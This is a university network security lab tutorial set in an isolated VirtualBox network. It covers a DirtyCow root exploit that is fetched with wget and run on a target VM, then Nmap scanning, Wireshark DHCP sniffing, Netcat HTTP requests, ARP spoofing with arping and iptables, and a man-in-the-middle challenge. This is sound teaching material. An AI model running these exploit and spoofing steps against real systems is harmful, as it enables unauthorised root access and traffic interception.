Network and Web Security

Tutorial 3 - Network Security Tools*

January 29, 2024

In this tutorial you are introduced to some common low-level networking and network security tools using the virtual security lab you set up in Tutorial 2, and you practice some classic exploitation techniques.

1 Elevation of Privilege

In Tutorial 2 you have found some credentials for `password-leaker` via an offline dictionary attack. These are all for regular user accounts with limted privileges. We are more ambitious than that: we want to become the `root` privileged user, who has full control over the VM. To do so, we need an elevation of privilege attack. It turns out that the Operating System (OS) on `password-leaker` suffers from a low-level exploit which can be used exactly for this purpose.

1. Find out the version of the OS by logging into `password-leaker` with some valid credentials you discovered, opening a shell and running `uname -a`
2. We are in luck! It turns out this OS version suffers from the *DirtyCow* Linux kernel vulnerability CVE-2016-5195, and has not been patched[a] (most security compromises are due to systems not being patched). If you are curious, you can learn more about DirtyCow here. And if you feel brave, fetch the `cowroot.c` exploit from there and compile it for the architecture of `password-leaker`. Otherwise, simply copy the pre-compiled binary from `/vol/co331/VMS/cowrooot` to `kali-vm`:
   ```
   scp $USER@shell1.doc.ic.ac.uk:/vol/co331/VMS/cowroot .
   ```
   Copy in the same way also the file `/vol/co331/VMS/fixcow.sh`, which contains a command needed to make the exploit more stable.
3. Create a directory named `serve-cow` on `kali-vm`, move these two files inside it, and then serve it on the `dirtylan` using the quick-and-dirty builtin python server:
   ```
   python -m http.server 8080 --bind 10.6.66.64 --directory serve-cow
   ```
4. Fetch these two files from `password-leaker`:
   `wget http://10.6.66.64:8080/cowroot; wget http://10.6.66.64:8080/fixcow.sh` and make them executable: `chmod u+x cowroot fixcow.sh`
5. Run the exploit on `password-leaker`: `./cowroot`
   Hold your breath until you have become `root`, then immediately run: `./fixcow.sh`
   which should prevent `password-leaker` from crashing. If it crashes, power-off the VM, restart it (the exploit files will still be where you copied them) and try again, as these kind of exploits are non-deterministic. (If instead you have bricked `password-leaker`, no worries, just junk it and re-install a fresh copy. That's the beauty of VMs.)
6. If you have gotten so far, you are the superuser, but only for the current session: time to gain persistence, by changing the `root` password. The exploit has tampered with the original `passwd` command, and you need to restore it: `mv /tmp/bak /usr/bin/passwd`
   Now change the password of `root` to one of your choice, by running `passwd`
   Log out and log in again as `root`: you've p0wnd it!

[a] Thanks to Albert Schleidt, a 331 student from 2021-2022 for reporting this.

*Thanks to Chris Novakovic `c.novakovic@imperial.ac.uk` for preparing part of this material.

2 Run your DNS server

Any ~~hacker~~ pentester worth their salt should be able to run their own DNS server. Kali already has the excellent `dnsmasq` preinstalled, which can run with minimal configuration.

1. Edit the privileged file `/etc/hosts` (for example, `sudo nano /etc/hosts`) of `kali-vm` to add an entry to pretend that your favourite domain resolves to `password-leaker`:
   ```
   10.6.66.65	331.cybersec.fun
   ```
   (where the thing in the middle is a tab, not a space)
2. Start `dnsmasq` in a testing configuration which runs in the foreground, logs requests and responses and reads the rules present in `/etc/hosts`: `dnsmasq --no-daemon --log-queries`
3. Log in to `password-leaker`, and test you DNS server: `dig 331.cybersec.fun @10.6.66.64`
   You should receive an answer telling you that the domain is served by `password-leaker` (we both know it's not true, so no point in trying to connect to it).

You can now pause `password-leaker`, as we won't be needing it for a while.

3 More VM configuration

For the rest of this tutorial, we need to install also the `listener` virtual appliance, which can be copied from `/vol/co331/VMS/listener.ova`. Import this virtual appliance and attach its adapter 1 to VirtualBox's `dirtylan` internal network. **Don't start it yet.**

You'll also need to make a small change to `kali-vm` so that VirtualBox allows its `dirtylan` network adapter to sniff packets:

1. Make sure `kali-vm` is stopped.
2. In VirtualBox Manager, right-click on `kali-vm` in the left-hand list and choose **Settings**.
3. Choose **Network** from the left-hand list, and go to the **Adapter 1** tab (or whichever you used for `dirtylan`). Click **Advanced**, and for *Promiscuous Mode* select **Allow All**. Click **OK**.

4 Packet sniffing and analysis with Wireshark

If you were to look at the raw traffic crossing a network interface in real time, you'd just see streams of bits. This isn't very helpful for understanding what's actually happening on the network: who the hosts are, how often they're communicating, which protocols they're using, or what information they're sending to each other.

Wireshark is a graphical tool for analysing the packets transferred over a network interface. Packets are shown in a GUI in a chronologically-ordered list, and are highlighted in different colours according to the protocol the hosts are using to communicate. Wireshark knows how to parse packets encoded in hundreds of protocols at every network layer, and displays the fields and values in each network layer in an intuitive way. A filter allows you to quickly find packets of interest using an expressive query language.

Wireshark is available in Kali; we'll use it to observe the network activity that `listener` generates when it boots. Specifically, since `listener` knows nothing about the configuration of the `dirtylan` network to which it is connected, we'll see how it uses the *Dynamic Host Configuration Protocol (DHCP)* — defined in RFC 2131 for IPv4 — to discover how it should configure itself so it can communicate on the network.

1. Start `kali-vm` and open Wireshark from the **Show Applications** item in the dock. (If you're logged in as the `root` user, Wireshark may disable some of its functionality for security reasons. We won't be using it anyway — press **OK**.)
2. Start capturing traffic on `eth0`, `kali-vm`'s virtual interface adapter for `dirtylan`, by double-clicking on the interface name in the list. Wireshark will capture packets as they arrive on `eth0`, parse them, and show them in a list in the top pane.
3. Start the `listener` VM, and watch the traffic on `eth0` as `listener` boots. After a few seconds, you'll see an interesting exchange: an unidentified host on the network (using the source IP address 0.0.0.0) broadcasts a message to the local network (using the destination IP address 255.255.255.255) using the DHCP protocol; this is `listener` broadcasting a *DHCP Discover* request asking any DHCP servers on `dirtylan` to offer it a network configuration. Click on this packet, and look at its application-layer payload by expanding the **Bootstrap Protocol** section in the pane below. You'll see some more fields whose values have automatically been extracted from the raw bit stream, parsed, and displayed in an easily-understood way; notice how clicking on a field highlights the position of that field in the raw bit stream in the bottom frame.
4. Enter `bootp.option.type == 53` into the **Apply a display filter...** box to show only DHCP packets in the list. A host with the IP address 10.6.66.1 responded to the unknown host's DHCP Discover request by sending the host a *DHCP Offer* — this host is VirtualBox's `dirtylan` DHCP server (the one we set up in Tutorial 2). Take a look at the content of the offer by clicking on this next packet and expanding the **Bootstrap Protocol** section in the middle pane. One of the fields is an IP address that is offered for the unknown host's use; make a note of it.
5. In the final two packets in this exchange, the unknown host sends a *DHCP Request* to advertise that it wants to use the configuration that was offered in the DHCP Offer packet, and the DHCP server confirms the request by sending back a *DHCP Acknowledgement* packet.

You'll notice that one of the fields in the DHCP Offer was named **IP Address Lease Time**: the DHCP server only offered `listener` the use of this IP address for a fixed period of time, before which `listener` is meant to ask the DHCP server for permission to continue using the IP address. The DHCP server can't enforce this: after all, `listener` can use whatever source IP address it likes in its outgoing packets. The DHCP server is only promising not to offer this IP address to another host during this period, unless `listener` releases it first via a *DHCP Release* packet.

1. Imagine that an attacker were able to use `kali-vm`. What kind of network attacker would they be? (Refer back to the slides for Module 7 and think about the capabilities the attacker would have on the `dirtylan` network, based on what you've just seen in Wireshark.)

2. Consider the DHCP protocol exchange you witnessed. What could an attacker with your capabilities do to disrupt this protocol? What would be the effects of these disruptions?

5 Port scanning and host discovery with Nmap

In Section 2, we sniffed the `dirtylan` network and discovered that a host of interest to us had recently connected. Unfortunately, although we learned how it had configured itself so it could communicate on the local network (and learned the IP address it had been leased), we discovered no information about *why* it was on the network — whether it's now offering any network-based services to other hosts, for instance. We could find out by remaining *passive* and listening for more traffic to or from the host using Wireshark, but there doesn't seem to be much of it at the moment. Instead, let's do some *active* information-gathering.

Nmap (*Network **map**per*) is a command-line tool for auditing networks. It can probe a particular host on the network and report which TCP and UDP ports are open, and make educated guesses about the programs that are listening on these ports (including their version numbers). In some circumstances, it can determine the OS a particular host is running. Nmap is also capable of performing these scans across an entire IP address block, thus discovering hosts on a network that may have previously been unknown.

We'll now use Nmap to learn more information about `listener`.

WARNING

If `kali-vm`'s NAT adapter is still connected, disconnect it now to prevent any possibility of accidentally scanning computers outside the dirty LAN.

1. Start a new packet-capturing session in Wireshark. You can choose to save the previous list of captured packets to a file if you want to refer to them again later.
2. Perform a TCP SYN scan on `listener`: in a terminal, run `nmap -sS <listener ip>`. In Wireshark, take a look at some of the network activity generated by the port scan. Save the captured packets to disk.
3. Look through the Nmap documentation (its man page can be found in Chapter 15 of the Nmap Reference Guide or by running `man nmap` in a terminal) for an option that discovers open UDP ports, and use it to perform a UDP scan on `listener`. You'll also need to find an option (or options) to make the scan more aggressive, otherwise it could take quite some time. (Since you're scanning from the same subnet as `listener` and don't need to be concerned about packet loss or stealthiness, you can afford to make this scan more aggressive.)
4. In steps 2 and 3, you discovered some open TCP and UDP ports on `listener`. Nmap doesn't scan every possible port by default: it will normally only scan the most common TCP and UDP ports on which services listen (this list is based on the official IANA Port Number Registry, and can be found at `/usr/share/nmap/nmap-services`). Look through the Nmap documentation for an option that will instead force Nmap to scan every port on `listener`. Perform a single scan covering both TCP and UDP ports using this option. You'll notice a service listening on a high-numbered port on `listener` that didn't appear in the output of a previous scan — make a note of the transport-layer protocol (either TCP or UDP) that this service uses, and the port number it is listening on.
5. Find an option in the documentation that provides information about all of the services that are listening on `listener`'s open ports. Use it to discover what type of service is listening on the high-numbered port you discovered in step 4.
6. Nmap can also be told to scan an entire subnet, rather than an individual host. Find a way to scan every host in the dirty LAN using Nmap (you might need to refer back to Tutorial 2 to find out more information about the dirty LAN's structure). If you did it correctly, you should see that the dirty LAN consists of three hosts: `listener`, `kali-vm`, and the virtual host that VirtualBox uses for its DHCP server.

1. How did Nmap determine which TCP ports were open during your port scan in step 2? (Look back at the packets that were sent between `kali-vm` and `listener` — filtering on the `tcp.port` field will make it much

easier to work with the captured packets.)

2. In step 3, why might it have been necessary to apply a timeout to the UDP scan?

3. In step 5, you may have noticed an odd result when Nmap tried to discover details about the services listening on `listener`'s TCP ports. What caused this odd result?

4. How might an intrusion detection system (or an alert network administrator) notice an attacker performing a port scan on a network? Why might the scans you carried out in steps 5 and 6 be more noticeable?

6 Communicating with a server using Netcat

In Section 3 of Tutorial 3, we discovered a web server listening on a high-numbered port on `listener`. We'll now communicate with it using the HTTP protocol, but rather than using a web browser to do the HTTP communication for us, we'll write protocol-compliant messages manually and send them to this port using *Netcat*.

Netcat is a simple yet very powerful command-line tool. It can create outgoing connections, and listen for incoming connections on any TCP or UDP port, and can transfer arbitrary data between the two hosts. Handily, it adheres to the Unix philosophy of using the standard streams for its input and output: any data you enter into Netcat's standard input stream will be sent to the remote host, and any data the host sends to you will be sent to Netcat's standard output stream. This makes it very easy to include Netcat as part of a series of shell commands connected by pipes. There are several subtly different versions of Netcat in circulation; the version included with Kali is the "original" Netcat, which lacks some of the features of the OpenBSD and GNU versions. You'll need to bear this in mind when following instructions you find online; if in doubt, refer to the Netcat man page that comes with Kali (`man nc`).

Some network protocols are difficult for humans to understand just by looking at them. Thankfully, HTTP isn't one of them: the core instructions in the protocol are short and simple to remember, and it's based primarily on lines of printable characters, making it trivial to communicate with a web server using Netcat. The latest version of the protocol is HTTP/2, which is specified in RFC 7540, although today's web servers and browsers still support the much older (and simpler) HTTP/1.0 protocol specified in RFC 1945.

1. From a terminal, use Netcat (`nc`) to open a TCP connection to `listener` on the high-numbered port you identified in section 3. The HTTP protocol dictates that the client must send a request that the server will then respond to, so the server is now waiting to receive your request.

2. Following the HTTP/1.0 protocol, fetch the page at the path `/test` from the web server. If you do this correctly, the server will respond with a web page congratulating you. (You could redirect Netcat's standard output stream to a file named `test.html`, use a text editor to remove the HTTP header lines from this file, and open the file in Firefox to see the response rendered as HTML — this is effectively what a web browser would automatically do for you if you were to visit `http://<listener ip>:<port>/test`.)

3. The web server is hosting something interesting at the path `/browsercheck`. Fool the web app into thinking you're visiting it with version **331** of a fictitious web browser named **Awesome Imperial College London Browser**. If you succeed, you'll get back some "strange" data: see if you can make sense of how the web server is responding. If you do not manage to complete this task now, try again next week after studying module 12 - HTTP.

When you've managed to make sense of what the web server sends back after passing the browser check, you've reached the end of this tutorial, and can stop reading here. If you want a harder challenge, keep reading…

7 ARP spoofing

We have learned that the ARP cache of a host holds the pairing between IPs on the local network and their MAC addresses, so that IP messages can be sent directly at the link layer. Let's practice a simple case of ARP spoofing, where we pretend to own an IP address we don't own.

1. Suspend the `listener` VM, to limit the traffic on `dirtylan`.
2. Resume `password-leaker`, login as `root`, and check the ARP table: `arp -a`
3. On `kali-vm`, open Wireshark to monitor the messages from the steps below, which you need to run in a sudo-shell: open a sheel, run `sudo -i`
4. Let's broadcast a nice forged ARP message from `kali-vm` asking what is the MAC of `password-leaker` (10.6.66.65), pretending that we are at `10.6.66.69` (an address on `dirtylan` *not used by any VM*): `arping -c 1 -U -S 10.6.66.69 10.6.66.65`
   This will cause `password-leaker` to cache the `kali-vm` MAC with this new IP as well, as you can see from the update in its ARP cache.
5. On `password-leaker`, check again the ARP table: you should see the new entry.
6. On `kali-vm`, listen for tcp connections using netcat on the randomly chosen port 33133: `nc -l -p 33133`
7. On `password-leaker`, try to send a tcp message to the spoofed IP: `nc 10.6.66.69 33133`
8. Wah-wah! This should fail. See in Wireshark that a tcp message is sent to 10.6.66.69 using the MAC of `kali-vm` as the link-layer destination, but `kali-vm` is not responding despite you listening on netcat. Moreover, you can see in `password-leaker` that the ARP entry for 10.6.66.69 is no longer valid. The problem is that we haven't given ourselves permission to listen for connections on an IP different than the one the DHCP of `dirtylan` gave us. We can fix it, by running (on `kali-vm`):
   ```
   iptables -t nat -A PREROUTING -i eth0 -p tcp -d 10.6.66.69 -j REDIRECT
   ```
   This commands tells the kernel that when we see a **tcp** packet destined to **10.6.66.69** on **eth0**, we should process it, and not drop it, as the default behaviour dictates.
9. Try again the steps above, and you should be able to receive the message for 10.6.66.69 on `kali-vm`. Well done, you have spoofed your first IP address (probably).

8 MITM challenge (Optional)

Resume `listener`. Here's your challenge, which you should be able to complete using the tools mentioned in this tutorial.

Every minute, `listener` attempts to send a secret message to `mothership.dirty.lan`. Intercept and read this message.

If you want a more difficult challenge, use as few tools as possible to achieve the goal, and write your own code instead. You would need a packet manipulation library, and a library that provides raw access to a network interface. Depending on the programming language, one library might provide both of these features. Some examples include *libnet* and *libpcap* (for C), *Scapy* (for Python), *Net-RawIP* and *Net-Pcap-Easy* (for Perl), and *pcap4j* (for Java)(why on Earth would you be trying this in Java btw?).